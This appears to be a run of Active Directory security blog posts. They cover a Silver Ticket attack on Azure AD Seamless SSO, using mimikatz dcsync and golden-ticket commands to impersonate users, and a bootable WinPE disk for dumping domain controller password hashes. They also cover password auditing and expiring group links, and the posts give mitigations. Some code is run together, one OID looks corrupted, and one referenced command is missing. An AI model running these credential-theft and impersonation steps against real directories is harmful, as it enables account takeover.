Here is the recording of my Black Hat Europe 2019 Briefings session about Exploiting Windows Hello for Business:
Last month, Microsoft has introduced a new feature of Azure AD Connect called Single Sign On. It allows companies to configure SSO between AD and AAD without the need to deploy ADFS, which makes it an ideal solution for SMEs. Here is a high-level diagram of this functionality:
As we can see from the diagram above, Azure AD exposes a publicly available endpoint that accepts Kerberos tickets and translates them into SAML and JWT tokens, which are understood and trusted by other cloud services like Office 365, Azure or Salesforce. And wherever you have Kerberos-based authentication, it can be attacked using Silver Tickets.
In usual circumstances this attack can only be performed from the intranet. But what really caught my attention is the fact that with this new SSO feature, Silver Tickets could be used from the entire internet. Let’s give it a try then!
The Nasty Stuff
To test this technique, we need to retrieve some information from Active Directory first:
- NTLM password hash of the AZUREADSSOACC account, e.g. f9969e088b2c13d93833d0ce436c76dd. This value can be retrieved from AD using mimikatz:
1mimikatz.exe "lsadump::dcsync /user:AZUREADSSOACC$" exit
My own DSInternals PowerShell Module could do the same job:
12Get-ADReplAccount -SamAccountName 'AZUREADSSOACC$' -Domain contoso `-Server lon-dc1.contoso.local
Both of these commands need Domain Admins permissions.
- Name of the AD domain, e.g. contoso.local.
- AAD logon name of the user we want to impersonate, e.g. email@example.com. This is typically either his userPrincipalName or mail attribute from the on-prem AD.
- SID of the user we want to impersonate, e.g. S-1-5-21-2121516926-2695913149-3163778339-1234.
Having this information we can now create and use the Silver Ticket on any Windows computer connected to the internet. It does not even matter whether it is joined to a domain or a workgroup:
- Create the Silver Ticket and inject it into Kerberos cache:
1234mimikatz.exe "kerberos::golden /user:elrond/sid:S-1-5-21-2121516926-2695913149-3163778339 /id:1234/domain:contoso.local /rc4:f9969e088b2c13d93833d0ce436c76dd/target:aadg.windows.net.nsatc.net /service:HTTP /ptt" exit
- Launch Mozilla Firefox.
- Go to about:config and set the network.negotiate-auth.trusted-uris preference to value “https://aadg.windows.net.nsatc.net,https://autologon.microsoftazuread-sso.com”.
- Navigate to any web application that is integrated with our AAD domain. We will use Office 365, which is the most commonly used one.
- Once at the logon screen, fill in the user name, while leaving the password field empty. Then press TAB or ENTER.
- That’s it, we’re in!
- To log in as another user, run the command below and repeat steps 1-6.
It is also worth noting that the password of the AZUREADSSOACC account never changes, so the stolen hash/key will work forever. It could therefore be misused by highly privileged employees to retain access to the IT environment after leaving the company. Dealing with such situations is a much broader problem, which is aptly depicted by the following old Narnian saying:
First of all, I have to point out that this technique would not be very practical in real-world situations due to these reasons:
- The SSO feature is in Preview and has to be explicitly enabled by an AD admin. Just a handful of companies probably use it at the time of writing this article and enterprises will quite surely stick to their proven ADFS deployments even after this feature reaches GA.
- The hash/key of the AZUREADSSOACC account can only be retrieved by Domain Admins from DCs by default. But if an attacker had such highly privileged access to an Active Directory domain, he/she would be able to do some way nastier stuff than just replicating a single hash.
- The password of the AZUREADSSOACC account is randomly generated during the deployment of Azure AD Connect. It would therefore be impossible to guess this password.
As you can see, there is simply no need to panic. But just to be safe, I would recommend these generic security measures:
- Only delegate administrative access to trusted individuals and keep the number of members of the Domain Admins group (and other privileged groups) as low as possible.
- Protect backups of Domain Controllers, so no-one could extract sensitive information from them.
- Enable and enforce Azure MFA for users authenticating from external IP addresses. It is very straightforward and effective against many kinds of attacks.
- Consider implementing Azure AD conditional access.
- Deploy Microsoft Advanced Threat Analytics to detect malicious replication and other threats to your AD infrastructure.
- Force a password change on the AZUREADSSOACC account by
re-deploying Azure AD Connect SSOrunning the Update-AzureSSOForest cmdlet after a highly privileged employee leaves the company and/or on a regular basis. This should be done together with resetting the password of krbtgt and other sensitive accounts.
Although the Silver Ticket attack has been here for some years, it is now probably the first time it can be used over the internet against a cloud service, which theoretically makes it even more potent. On the other hand, it would be quite hard to perform this technique in a real-world environment due to impracticalities discussed in the previous section, so there is no need to worry. The new Seamless SSO feature of Azure AD Connect can therefore be considered safe and preferred solution for SSO to Office 365 .
I recently worked with Thycotic to create a program called Weak Password Finder for Active Directory. The goal was to develop a tool that would be very easy to use yet powerful enough to yield actionable results. I think that this combination really makes it unique in the market. It basically does the same as my PowerShell module, but with a nice and shiny user interface:
It generates reports which are suitable for the management:
Of course, you can also drill down through the detailed data:
Here is a quick demo of the tool:
Did I mention that the Weak Password Finder is totally FREE?
The latest version of the DSInternals PowerShell Module contains a new cmdlet called Test-PasswordQuality, which is a powerful yet easy to use tool for Active Directory password auditing. It can detect weak, duplicate, default, non-expiring or empty passwords and find accounts that are violating security best practices. All domain administrators can now audit Active Directory passwords on a regular basis, without any special knowledge.
Get-ADReplAccount -All -Server LON-DC1 -NamingContext "dc=adatum,dc=com" |
Test-PasswordQuality -WeakPasswordHashesFile .\pwned-passwords-ntlm-ordered-by-count.txt -IncludeDisabledAccounts
Active Directory Password Quality Report
Passwords of these accounts are stored using reversible encryption:
LM hashes of passwords of these accounts are present:
These accounts have no password set:
Passwords of these accounts have been found in the dictionary:
Historical passwords of these accounts have been found in the dictionary:
These groups of accounts have the same passwords:
These computer accounts have default passwords:
Kerberos AES keys are missing from these accounts:
Kerberos pre-authentication is not required for these accounts:
Only DES encryption is allowed to be used with these accounts:
These administrative accounts are allowed to be delegated to a service:
Passwords of these accounts will never expire:
These accounts are not required to have a password:
Although the cmdlet output is formatted in a human readable fashion, it is still an object, whose properties can be accessed separately (e.g. $result.WeakPassword) to produce a desired output.
I would like to thank Jakob Heidelberg for his idea to use the DSInternals module for password auditing. A big thank you also goes to Ondrej Sevecek for sharing his comprehensive auditing tool called SAPHA, from which I borrowed ideas for a few tests.
Since version 2.15, the DSInternals PowerShell Module fully supports Windows PE, the free minimalistic edition of Windows. This means that all the nasty Active Directory database stuff can now be performed from a bootable flash drive or an ISO image, including:
- Dumping NT hashes, kerberos keys and cleartext passwords from ntds.dit files.
- Modifying the SID History of user accounts and groups.
- Modifying the Primary Group ID of user accounts.
- Extracting the DPAPI domain backup keys.
These actions would of course require an attacker to have one of the following:
- Physical access to a domain controller (DC).
- Knowledge of DC’s baseboard management controller (BMC) credentials.
- Administrative access to a virtualized DC.
In an ideal world, only Domain Admins should have such non-trivial access to the core AD infrastructure, but the everyday reality is far from perfect.
Creating the media
To create a bootable Windows PE media loaded with the DSInternals module, follow these steps:
- Install the Windows Assessment and Deployment Kit (ADK), including the Windows PE feature.
- Click Start, and type deployment. Right-click Deployment and Imaging Tools Environment and then select Run as administrator.
- Create a working copy of the Windows PE files. Specify either x86 or amd64:
1copype amd64 C:\WinPE_amd64
- Mount the Windows PE image:
1Dism /Mount-Image /ImageFile:"C:\WinPE_amd64\media\sources\boot.wim" /index:1 /MountDir:"C:\WinPE_amd64\mount"
- Add PowerShell support to Windows PE by adding a few optional components, together with their associated language packs:
1234567891011Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-WMI.cab"Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-WMI_en-us.cab"Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-NetFX.cab"Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-NetFX_en-us.cab"Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-Scripting.cab"Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-Scripting_en-us.cab"Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\WinPE-PowerShell.cab"Dism /Add-Package /Image:"C:\WinPE_amd64\mount" /PackagePath:"C:\Program Files\Windows Kits\10\Assessment and Deployment Kit\Windows Preinstallation Environment\amd64\WinPE_OCs\en-us\WinPE-PowerShell_en-us.cab"
- Add the DSInternals PowerShell module to the Windows PE image by copying it into the C:\WinPE_amd64\mount\Windows\system32\ WindowsPowerShell\v1.0\Modules folder.
- Add device drivers to the Windows PE image:
1Dism /Add-Driver /Image:"C:\WinPE_amd64\mount" /Driver:"C:\DriversToEmbed" /Recurse
- Configure PowerShell to start automatically after boot by creating a file called winpeshl.ini in the C:\WinPE_amd64\mount\Windows\system32 folder, containing this text:
123[LaunchApps]wpeinit.exepowershell.exe, -NoExit -NoLogo -ExecutionPolicy Bypass
- Create an ISO file containing the Windows PE files:
1MakeWinPEMedia /ISO C:\WinPE_amd64 C:\WinPE_amd64\WinPE_amd64.iso
The same command can be used to create a bootable flash drive or VHD.
As you have seen, it is pretty straightforward to create a bootable flash drive that can be used to conquer an Active Directory domain through a physically accessible DC. One of the precautions a domain administrator can take is to encrypt all DCs using BitLocker or other tool that does full volume encryption. Deploying RODCs at smaller branch offices is also a good idea. The new features in Windows Server 2016, Virtual TPMs and Shielded VMs, also seem very promising in regards to DC security.
One of the new features in Windows Server 2016 will be the Active Directory Expiring Links feature, which enables time-bound group membership, expressed by a time-to-live (TTL) value. Here is how it works:
Enabling the Expiring Links Feature
The Expiring Links feature had been a standalone feature in early Windows Server 2016 builds, but as of TP4, it is a part of the broader Privileged Access Management (PAM) feature. It is disabled by default, because it requires Windows Server 2016 forest functional level. One of the ways to enable the PAM feature is running this PowerShell cmdlet:
Enable-ADOptionalFeature -Identity 'Privileged Access Management Feature' -Target (Get-ADForest) -Scope ForestOrConfigurationSet
Note that once this feature is enabled in a forest, it can never be disabled again.
Creating Expiring Links using PowerShell
Unfortunately, this feature is not exposed in any GUI (yet), so you cannot create expiring links, nor can you tell the difference between a regular link and an expiring one. We will therefore use PowerShell to do the job:
# Add user PatColeman to the Domain Admins group for the next 2 hours
$ttl = New-TimeSpan -Hours 2
Add-ADGroupMember -Identity 'Domain Admins' -Members PatColeman -MemberTimeToLive $ttl
# Show group membership with TTL
Get-ADGroup -Identity 'Domain Admins' -ShowMemberTimeToLive -Properties member | Select-Object -ExpandProperty member
As we can see, the TTL value in the output is in seconds (2h = 7200s). As soon as the TTL expires, the DCs will automatically remove user PatColeman from the Domain Admins group and his current Kerberos tickets will also expire.
Creating Expiring Links using LDAP
PowerShell is great, but what if we needed to stick with pure LDAP? Well, if you want to add a user into a group for a limited amount of time, you do it exactly as you are used to, but you have to specify his distinguished name (DN) in the new TTL-DN form: <TTL=TimeToLive,DN>. In our sample case, it would look like this:
To view the group membership with TTLs, the corresponding LDAP search operation has to contain the LDAP_SERVER_LINK_TTL extended control (OID = 1.2.840.1135188.8.131.529). Here is a screenshot from the ldp.exe tool with this control enabled:
Implementation Details (Very Advanced Stuff)
I was also quite interested in how this feature is implemented in the ntds.dit file. I have found out that as soon as you enable the PAM feature, the DCs automatically extend their database schemas in the following way:
- The expiration_time_col column is added to the link_table table. It contains timestamps (in the UTC FILETIME / 107 format), after which the links get deactivated. This is yet another reason for the time to be in sync between DCs.
- The link_expiration_time_index index is added to the link_table table. It is created over these columns: expiration_time_col, link_DNT, backlink_DNT. Thanks to this index, DCs can find expired links very quickly.